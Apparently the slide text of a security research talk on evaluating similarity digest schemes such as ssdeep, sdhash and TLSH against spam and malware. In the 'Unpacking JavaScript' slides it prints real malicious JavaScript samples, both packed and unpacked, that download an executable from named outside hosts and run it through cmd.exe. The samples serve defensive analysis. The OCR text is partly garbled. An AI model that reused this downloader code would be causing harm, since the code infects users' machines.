

On Criteria for Evaluating Similarity Digest Schemes

Ву

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What are Similarity Digests?

- Traditional hashes (such as SHA1 and MD5) have the property that a small change to the file being hashed results in a completely different hash
- Similarity Digests have the property that a small change to the file being hashed results in a small change to the digest
 - You can measure the similarity between 2 files by comparing their digests



Criteria previously considered...

- Accuracy
 - Detection rates / FP rates
 - ROC Analysis
 - Accuracy when content exposed to random changes
 - Accuracy when content modified using adversarial techniques
- Identifying encapsulated content
- Anti-blacklisting
- Anti-whitelisting
- Performance
 - Evaluating digest
 - Comparing digests
 - Searching through large databases of digests
- Size of the digest
- Collision rates




Open Source Similarity Digests

Broad categories

- Context Triggered Piecewise Hashing
 - Ssdeep
- Feature Extraction
 - Sdhash
- Locality Sensitive Hashes
 - TLSH / Nilsimsa
- Hybrid Approaches




Context Triggered Piecewise Hashing (Ssdeep)






Feature Extraction (Sdhash)





Locality Sensitive Hashes (TLSH, Nilsimsa)



Limitations

- Cannot identify encrypted data as being similar
- Compressed data must be uncompressed first
- ⇒ Malware must be unpacked
- ⇒ Malicious JavaScript must be evaluated / emulated
- ⇒ Email attachments must be base64 decoded and unzipped
- ⇒ Image files must be turned into a canonical format

. . .

In many applications, security knowledge must be applied to get at the content of interest.



Unpacking JavaScript



```
eval(function(p,a,c,k,e,d){e=function(c){return(c<a
?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCo
de(c+29):c.toString(36))};if(!''.replace(/^/,String
)) {while (c--) d[e(c)]=k[c]||e(c);k=[function(e) {retu
rn d[e]}];e=function(){return'\\w+'};c=1};while(c--
)if(k[c])p=p.replace(new ReqExp('\\b'+e(c)+'\\b','q
'),k[c]);return p}('1c e(n){3 o=p.1b()*n;1a p.19(o)
+\'.9\'}18{m="17";1="16";h="15.";g="14";k="13.";j="
12";f=\'11://10/Z/Y.9\';3 4=X.W(m+1);4.V("U","T:R-P
-O-N-M'');3 x=4.8(k+j,''');3 S=4.8(h+q,''');S.L=1;x.
b("K",f,0);x.J();5=e(I);3 F=4.8("H.G","");3 7=F.E(0
);3 6;6=F.a(7,"D"+5);5=F.a(7,5);S.C();S.B(x.A);S.z(
5,2);S.y();F.w(5,6);3 Q=4.8("v.u","");d=F.a(7+\'\\\
\t\',\'s.9\');Q.r(d,\' /c \'+6,"","b",0)}q(i){i=1}'
,62,75,'|||var|df|mz1|t2|tmp|CreateObject|exe|Build
Path|open||exp1|qn|lj|ddd|ccc||fff|eee|bbb|aaa||num
ber | Math | catch | ShellExecute | cmd | system32 | Applicatio
n|Shell|MoveFile||Close|SaveToFile|responseBody|Wri
te|Open|rising|GetSpecialFolder||FileSystemObject|S
cripting | 1000 | send | GET | type | 00C04FC29E36 | 983A | 11D0 |
65A3||BD96C556||clsid|classid|setAttribute|createEl
ement|document|ads.jpg|ads|s.222360.com|http|XMLHTT
P|Microsoft|Stream|Adodb|ect|obj|try|round|return|r
andom|function'.split('|'),0,{}))
```

Unpacking JavaScript

JS_AGENT.AEVS.8132.js

function gn(n){var number=Math.random()*n;return Math.round(number)+'.exe'}try{aaa="obj";bb b="ect";ccc="Adodb.";ddd="Stream";eee=" Microsoft.";fff="XMLHTTP";lj='http://s.22236 0.com/ads/ads.jpg.exe';var df=document.createElement(aaa+bbb);df.s etAttribute("classid","clsid:BD96C556-65A3-11D0-983À-00C04FC29E36");var x=df.CreateObject(eee+fff,"");var S=df.CreateObject(ccc+ddd, "");S.type=1;x. open("GET",lj,0);x.send();mz1=qn(1000);va F=df.CreateObject("Scripting.FileSystemOb ject","");var tmp=F.GetSpecialFolder(0);var t2;t2=F.BuildPath(tmp,"rising"+mz1);mz1=F. BuildPath(tmp,mz1);S.Open();S.Write(x.res ponseBody);S.SaveToFile(mz1,2);S.Close() ;F.MoveFile(mz1,t2);var Q=df.CreateObject("Shell.Application","");ex p1=F.BuildPath(tmp+\\system32','cmd.exe'); Q.ShellExecute(exp1,'/c '+t2,"","open",0)}catch(i){i=1}

JS_AGENT.AEVS.B7772.js

function gn(n){var number=Math.random()*n;return Math.round(number)+'.exe'}try{aaa="obj";bb b="ect";ccc="Adodb.";ddd="Stream";eee=" Microsoft.";fff="XMLHTTP";lj='http://www.pu ma164.com/pu/1.exe';var df=document.createElement(aaa+bbb);df.s etAttribute("classid","clsid:BD96C556-65A3-11D0-983À-00C04FC29E36");var x=df.CreateObject(eee+fff,"");var S=df.CreateObject(ccc+ddd, "");S.type=1;x. open("GET",lj,0);x.send();mz1=qn(1000);va F=df.CreateObject("Scripting.FileSystemOb ject","");var tmp=F.GetSpecialFolder(0);var t2;t2=F.BuildPath(tmp,"rising"+mz1);mz1=F. BuildPath(tmp,mz1);S.Open();S.Write(x.res ponseBody);S.SaveToFile(mz1,2);S.Close() ;F.MoveFile(mz1,t2);var Q=df.CreateObject("Shell.Application","");ex p1=F.BuildPath(tmp+\\system32', 'cmd.exe'); Q.ShellExecute(exp1,'/c '+t2,"","open",0)}catch(i){i=1}

Ssdeep / TLSH / Sdhash all identify these as matching



Experiments with variation: Image spam

Mampulation
Changing image height
and width;
Adding dots, and
dashes

Manipulation



Image 1



Image 2

Changing image height and width;
Changing background colour






Image rotation





Malware: Metamorphism and Function splits

- Malware author used automatic function split engine
 - Break a function into several pieces
 - Connect them through unconditional jumps
 - The following shows Hex-Rays decompiler gets confused



Malware: Results on recent malware family

Dropper files collected from ongoing ransom-ware outbreak. TLSH / Ssdeep / Sdhash ineffective.

When provided content derived from emulation then perfect matching occurred

- TLSH 78/78 score < 8
- Sdhash 78/78 score > 94
- Ssdeep 78/78 score > 93



Thresholds: Similar Legitimate Executable Files



Legitimate programs share common code and libraries with other legitimate programs and with malware

- processing argc/argv
- stdio library


- . . .

For example, Linux utilities "wc" and "uniq" can match for unexpected reasons – they share the author David MacKenzie.

Makes setting a threshold for matching significantly more difficult.



ROC curves



Design / Research

- Identifying encapsulated content is a useful criteria.
 - Often requires specialized processing
 - ⇒Should not be considered a primary criteria
- Schemes can be resistant to certain types of changes and vulnerable to others
 - In adversarial situations, the scheme is only as strong as its vulnerabilities
 - ⇒Minimax-like evaluation would be useful



Design / Research (cont.)

- Resistance to random changes
 - Schemes vary in this measure
 - Randomness is used ubiquitously by spammers / malware authors
 - ⇒A useful criteria for evaluation
- Scalable searching through large databases of digests
 - A smooth ROC curve makes this feasible
 - ⇒A useful criteria for evaluation



Conclusions / Questions

- Similarity Digests are a useful tool for real world security problems
- When designing / doing research on these types of schemes, it is important to do adversarial evaluation
 - a mathematical basis for comparing similarity digests in an adversarial environment?
- Can Hybrid approaches combine the best parts of different schemes?



Resources and Acknowledgement

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Open source on Github

https://github.com/trendmicro/tlsh/

Papers

https://www.academia.edu/7833902/TLSH_-A_Locality_Sensitive_Hash https://www.academia.edu/9768744/On_Attacking_Locality_Sensitive_Hashes_and_Similarity_Digests

